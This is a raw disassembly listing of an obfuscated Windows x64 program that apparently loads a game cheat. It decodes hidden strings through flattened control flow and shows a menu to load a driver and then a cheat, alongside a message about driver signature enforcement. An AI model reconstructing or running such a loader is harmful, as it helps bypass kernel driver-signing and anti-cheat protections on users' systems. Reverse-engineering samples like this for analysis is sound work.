call fcn.14003caa0
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x680], 0x6531
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x682], xmm0
mov byte [rbp + 0x692], al
movabs r12, 0x9fe72bfbf79c90c6
movabs r13, 0x7e32c97461a2944e
movzx ebx, byte [rsp + 0x40]
nop dword [rax]
mov rax, qword [0x140175488]
mov r9, qword [0x140175490]
nop
mov r11, r15
cmp r11, 0x13
jae 0x14004bc7c
movzx r10d, byte [rbp + r11 + 0x680]
mov rdi, r10
nop dword [rax]
cmp rax, r11
ja 0x14004bc73
lea rdx, [r9 + 6]
cmp rax, rdx
jae 0x14004b10b
lea rdx, [r11 + r12]
mov rcx, rdx
and rcx, r10
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, r10
sub bl, 0x6a
jmp 0x14004b150
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14004bbf6
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14004bb5d
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14004bb31
cmp rax, rdx
je 0x14004baeb
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x14004ba9e
nop dword [rax + rax]
cmp r9, r11
ja 0x14004bc6a
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jae 0x14004b179
lea edx, [r11 - 0x66]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x36
jmp 0x14004b1b0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14004ba82
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14004ba5c
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14004ba41
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x14004ba0f
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, r11
jbe 0x14004b6f7
nop dword [rax]
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14004b6da
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14004b6b7
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14004b697
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x14004b67a
lea rdx, [r9 + 0x200]
cmp rax, rdx
je 0x14004b65d
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x14004b643
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x14004b629
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x14004b60f
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x14004b5e3
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x14004b1c0
mov rax, rdx
lea r9, [rdx + 0x80]
lea rcx, [r9 + 0x64]
cmp rdx, rcx
jb 0x14004bc4e
lea rcx, [r9 + 0x7a]
cmp rdx, rcx
jb 0x14004bc32
lea rcx, [r9 + 4]
cmp rdx, rcx
jb 0x14004b3ab
lea rcx, [r9 + 0x20]
cmp rdx, rcx
jb 0x14004b38b
lea rdx, [r9 + 0xa]
cmp rax, rdx
jb 0x14004b36b
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x14004b58d
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x14004b546
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x14004b506
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x14004b4db
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x14004b1c0
mov rax, rdx
lea r9, [rdx + 0x200]
lea rcx, [r9 + 0x80]
cmp rdx, rcx
ja 0x14004b4af
lea rcx, [r9 + 0x41]
cmp rdx, rcx
ja 0x14004b495
lea rcx, [r9 + 0x61]
cmp rdx, rcx
ja 0x14004b47b
lea rcx, [r9 + 3]
cmp rdx, rcx
ja 0x14004b461
lea rdx, [r9 + 0x10]
cmp rax, rdx
ja 0x14004b444
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x14004b426
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x14004b406
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x14004b3e3
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x14004b3c5
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x14004b1c0
mov rax, rdx
lea r9, [rdx + 0xa]
jmp 0x14004b1c0
lea r8d, [r11 - 0x50]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x14004b1b0
lea r8d, [r11 - 0x32]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x14004b150
lea edx, [r11 - 0x14]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x74
jmp 0x14004b0d6
lea edx, [r11 + 0x7d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x6b
movzx edi, r11b
jmp 0x14004babb
lea edx, [r11 - 0x65]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x3d
inc r9
dec r11
inc r11
jmp 0x14004b0c3
lea edx, [r11 - 0x47]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0xf
dec r11
inc r11
jmp 0x14004b0c3
lea edx, [r11 - 0x29]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x1f
movzx edi, r11b
jmp 0x14004bb08
lea edx, [r11 - 0xb]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x4d
add rax, r9
jmp 0x14004bb45
lea edx, [r11 + 0x13]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x7b
jmp 0x14004bb45
lea edx, [r11 + 0x31]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x57
jmp 0x14004bb85
lea edx, [r11 + 0x4f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x29
jmp 0x14004bbb3
lea edx, [r11 + 0x6d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 5
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
lea r8d, [r11 + 0x38]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
mov byte [rbp + r11 + 0x680], bl
inc r11
jmp 0x14004b0c3
lea edx, [r11 + 0x56]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x5a
cmp r9, 4
jb 0x14004b4f6
movzx edi, r11b
lea r8d, [rdi + 0x5b]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, 3
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14004babb
lea edx, [r11 + 0x74]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x2c
cmp rax, 3
jae 0x14004b9c5
lea rcx, [r9 + 0x20]
cmp rax, rcx
jbe 0x14004b8cc
lea r8d, [r11 - 0x79]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
add bl, 0x4f
add bl, r8b
jmp 0x14004b51b
lea r8d, [r11 - 0x6e]
movzx ecx, r8b
and cl, r10b
mov edx, 1
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
lea rcx, [r9 + rax]
cmp rcx, 0x20
je 0x14004b9ec
lea rcx, [r9 + 0x10]
cmp rax, rcx
jbe 0x14004b7ee
lea r8d, [r11 + 0x42]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x14004b55b
lea edx, [r11 - 0xd]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x5b
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
lea edx, [r11 + 0x11]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x77
jmp 0x14004bbb3
lea edx, [r11 + 0x2f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x49
jmp 0x14004bb85
lea edx, [r11 + 0x4d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x1b
jmp 0x14004bb45
lea edx, [r11 + 0x6b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x13
add rax, r9
jmp 0x14004bb45
movzx edi, r11b
lea edx, [rdi - 0x77]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x41
jmp 0x14004bb08
lea edx, [r11 - 0x59]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x6f
dec r11
inc r11
jmp 0x14004b0c3
lea edx, [r11 - 0x3b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x63
inc r9
dec r11
inc r11
jmp 0x14004b0c3
movzx edi, r11b
lea edx, [rdi - 0x1d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x35
jmp 0x14004babb
lea rcx, [r9 + 0x200]
cmp rax, rcx
jae 0x14004b71d
lea edx, [r11 + 0x71]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x17
jmp 0x14004b5a8
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14004b752
lea edx, [r11 - 0x21]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x19
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14004b775
lea edx, [r11 - 0x3f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x47
jmp 0x14004bbb3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14004b798
lea edx, [r11 - 0x5d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x75
jmp 0x14004bb85
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x14004b7c2
lea edx, [r11 + 0x2b]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x2d
dec r11
inc r11
jmp 0x14004b0c3
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14004b5a8
movzx edi, r11b
lea r8d, [rdi - 0x11]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
add bl, 0x77
jmp 0x14004bab8
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14004b818
movzx edi, r11b
lea r8d, [rdi + 0x24]
movzx ecx, r10b
and cl, r8b
mov edx, 2
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x14004bab8
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14004b842
lea edx, [r11 - 0x18]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x58
dec r11
inc r11
jmp 0x14004b0c3
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14004b86b
lea r8d, [r11 - 0x72]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x14004bb45
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14004b892
lea r8d, [r11 + 0x52]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x3e
add bl, r8b
jmp 0x14004bbb3
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14004b55b
lea edx, [r11 + 0x34]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x6c
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14004b902
lea edx, [r11 + 0x69]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
add bl, 0x21
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14004b926
lea r8d, [r11 + 0x2d]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x3b
jmp 0x14004bb82
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14004b94a
lea edx, [r11 + 0xf]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x69
jmp 0x14004bb45
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14004b971
lea edx, [r11 - 0xf]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
add bl, 0x69
add rax, r9
jmp 0x14004bb45
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14004b999
movzx edi, r11b
lea r8d, [rdi - 0x2d]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
add bl, 0x3b
jmp 0x14004bb05
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14004b51b
movzx edi, r11b
lea r8d, [rdi + 0x79]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x4f
jmp 0x14004bab8
movzx edi, r11b
lea r8d, [rdi + 0x3d]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, byte [rbp + r11 + 0x680]
sub bl, cl
add bl, 0x55
add bl, r10b
jmp 0x14004bb05
lea r8d, [r11 + 0x1f]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, byte [rbp + r11 + 0x680]
add bl, 0x27
jmp 0x14004bb82
lea r8d, [r11 - 0x74]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
lea edx, [r11 - 0x1a]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x4a
jmp 0x14004bb45
lea r8d, [r11 + 0x40]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
dec r11
inc r11
jmp 0x14004b0c3
movzx edi, r11b
lea r8d, [rdi + 0x7c]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x64
jmp 0x14004bab8
movzx edi, r11b
lea r8d, [rdi - 0x48]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 8
add bl, r8b
sub dil, 0x34
movzx ecx, dil
and cl, r10b
mov edx, gethostname
sub dl, cl
add dl, dl
add dl, dil
add dl, r10b
mov byte [rbp + r11 + 0x680], dl
inc r9
dec r11
inc r11
jmp 0x14004b0c3
movzx edi, r11b
lea r8d, [rdi + 0x12]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x7e
add bl, r8b
sub dil, 0x52
movzx ecx, dil
and cl, r10b
mov edx, Ordinal_32
sub dl, cl
add dl, dl
add dl, dil
add dl, bl
add dl, r10b
mov byte [rbp + r11 + 0x680], dl
add rax, r9
jmp 0x14004bb45
lea rdx, [r11 + r13]
movzx ecx, dl
and cl, dil
add cl, cl
sub dl, cl
lea ebx, [rdi + rdx]
sub bl, 0x22
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x14004b0c3
movabs r8, 0xc69fe2164721136c
add r8, r11
movzx r10d, dil
movzx ecx, r8b
and cl, dil
mov edx, 6
sub dl, cl
lea ebx, [rdx + rdx]
add bl, dil
add bl, r8b
lea r8d, [r11 - 0x70]
movzx ecx, r8b
and cl, r10b
mov edx, 8
sub dl, cl
add dl, dl
add dl, r8b
add dl, r10b
movzx ecx, dl
mov byte [rbp + r11 + 0x680], cl
inc r9
add rcx, r9
sub r11, rcx
lea edx, [r11 + 1]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 7
add dl, r10b
mov byte [rbp + r11 + 0x680], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
movabs rdx, 0x577a135a121e11a8
add rdx, r11
movzx ecx, dl
and cl, dil
mov r8d, gethostname
sub r8b, cl
lea ebx, [r8 + r8]
add bl, dl
add bl, dil
movzx ecx, byte [rbp + r11 + 0x680]
add rcx, r9
add r11, rcx
inc r11
jmp 0x14004b0c3
add r11b, 0xa
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x46
jmp 0x14004b0c0
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
jmp 0x14004b0b0
lea rdx, [rbp + 0x15d22c1]
jmp 0x14004bc83
lea rdx, [rbp + 0xdde332]
jmp 0x14004bc83
lea rdx, [rbp + 0x680]
mov rcx, r14
call fcn.140002380
call fcn.14003caa0
lea rdx, str._Enter_Input
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov ecx, ntohl
call fcn.14003c8e0
lea rdx, [0x140120f58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
call fcn.14003caa0
lea rdx, [0x14011fd48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov ecx, ntohl
call fcn.14003c8e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x720], xmm0
mov qword [rbp + 0x730], r15
mov qword [rbp + 0x738], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x720], r15b
lea rdx, [rbp + 0x720]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001ee0
lea rcx, [rbp + 0x720]
mov rdi, qword [rbp + 0x720]
mov rsi, qword [rbp + 0x738]
cmp rsi, 0xf
cmova rcx, rdi
mov rbx, qword [rbp + 0x730]
cmp rbx, 1
jne 0x14004bdad
mov r8, rbx
lea rdx, [0x140101340]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004bdad
lea rcx, str.Enabling_Driver_Signature_Enforcement
call fcn.14000d650
call fcn.1400406d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x980], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x990], xmm1
mov r8, rbx
lea rdx, [0x140101340]
lea rcx, [rbp + 0x980]
call fcn.1400027a0
nop
lea rcx, [rbp + 0x980]
call fcn.140044d20
nop
lea rcx, [rbp + 0x980]
call fcn.140008190
jmp 0x14004be29
lea rcx, [rbp + 0x720]
cmp rsi, 0xf
cmova rcx, rdi
cmp rbx, 1
jne 0x14004be1c
mov r8, rbx
lea rdx, [0x140101314]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004be1c
xorps xmm0, xmm0
movups xmmword [rbp + 0x960], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x970], xmm1
mov r8, rbx
lea rdx, [0x140101314]
lea rcx, [rbp + 0x960]
call fcn.1400027a0
nop
lea rcx, [rbp + 0x960]
call fcn.140044d20
nop
lea rcx, [rbp + 0x960]
call fcn.140008190
jmp 0x14004be29
lea rcx, str.Invalid_response._Please_type_Y_or_N.
call fcn.14000d650
nop
lea rcx, [rbp + 0x720]
call fcn.140008190
xor edi, edi
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, ntohl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_________________________________________________________________n________________________________________________________________n_________________________________________________________n_________________________________________________________n____________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n__________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rbx, 0x7ffffffffa0a1eff
movdqa xmm9, xmmword [0x140121e10]
movdqa xmm11, xmmword [0x140121e20]
movdqa xmm10, xmmword [str.8888HKRC_NGO]
movdqa xmm6, xmmword [0x140122200]
movdqa xmm7, xmmword [0x140121d40]
movdqa xmm8, xmmword [0x140121d80]
movzx r12d, byte [rsp + 0x40]
mov qword [rsp + 0x48], r12
movzx r15d, byte [rsp + 0x40]
movzx r13d, byte [rsp + 0x40]
mov qword [rsp + 0x50], r13
movzx edx, byte [rsp + 0x40]
mov qword [rsp + 0x60], rdx
movzx ecx, byte [rsp + 0x40]
mov qword [rsp + 0x70], rcx
movzx edx, byte [rsp + 0x40]
mov qword [rsp + 0x58], rdx
xorps xmm0, xmm0
movabs r14, 0xfa409a2183b39c6e
mov qword [rbp + 0x6f8], rdi
mov qword [rbp + 0x6f0], rdi
movups xmmword [rbp + 0x6e0], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400fa488
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x6f0], Ordinal_26
mov qword [rbp + 0x6f8], Ordinal_32
movups xmm0, xmmword [str._Select_a_Listed_Option._n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140121120]
movsd qword [rax + 0x10], xmm0
movzx ecx, byte [reloc.WS2_32.dll_ioctlsocket]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], 0
lea rcx, [rbp + 0x6e0]
call fcn.140020de0
nop
mov rdx, qword [rbp + 0x6f8]
cmp rdx, 0xf
jbe 0x14004bfe0
inc rdx
mov rcx, qword [rbp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bfdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050cf3
call fcn.1400fa4c4
mov qword [rbp + 0x6f0], rdi
mov qword [rbp + 0x6f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6e0], 0
lea rcx, str._Load_Driver.________________First_step_
call fcn.14000fa20
lea rcx, str._Load_Cheat._________________Second_step_
call fcn.140011c30
lea rcx, str._Socials.
call fcn.140013b80
lea rcx, str._Exit_Menu._________________Last_Step_
call fcn.140015f20
lea rdx, [0x140004db0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x5c0], 0x6b747568
mov dword [rbp + 0x5c4], 0x6f68696a
mov dword [rbp + 0x5c8], 0x636c6d6e
mov dword [rbp + 0x5cc], 0x67606162
mov dword [rbp + 0x5d0], 0x7b1c6566
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5d4], xmm0
mov dword [rbp + 0x5e4], eax
mov word [rbp + 0x5e8], ax
mov byte [rbp + 0x5ea], al
nop word [rax + rax]
mov r8, qword [0x140175488]
mov r9, qword [0x140175490]
nop
mov r11, rdi
cmp r11, 0x2b
jae 0x14004cc35
movzx r10d, byte [rbp + r11 + 0x5c0]
mov rdx, r10
nop dword [rax]
cmp r8, r11
ja 0x14004cc2c
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x14004c10c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rdx
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, rdx
sub r15b, 2
jmp 0x14004c150
lea rax, [r9 + 1]
cmp r8, rax
je 0x14004cba8
cmp r8, rcx
je 0x14004cb19
lea rax, [r9 + 5]
cmp r8, rax
je 0x14004cabf
lea rax, [r9 + 7]
cmp r8, rax
je 0x14004ca9e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14004ca50
nop dword [rax]
cmp r9, r11
ja 0x14004cc23
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14004c17a
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x1e
jmp 0x14004c1c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14004ca35
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004ca0f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14004c9f4
lea rax, [r9 + 6]
cmp r8, rax
je 0x14004c9d9
lea rax, [r9 + 5]
cmp r8, rax
je 0x14004c9ac
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14004c70d
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14004c6f0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14004c6cc
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14004c6ab
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14004c68d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14004c672
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14004c657
lea rax, [r9 + 4]
cmp r8, rax
je 0x14004c63c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14004c621
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14004c5f4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004c1d0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x200]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14004cc00
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14004cbdd
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14004c3c2
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14004c3a7
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14004c387
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14004c5a6
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14004c55c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14004c51f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14004c4f9
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14004c1d0
lea r8, [r9 + 3]
lea r9, [r8 + 2]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14004c4cc
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14004c4b1
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14004c496
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14004c47b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14004c460
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14004c441
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14004c420
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14004c3fc
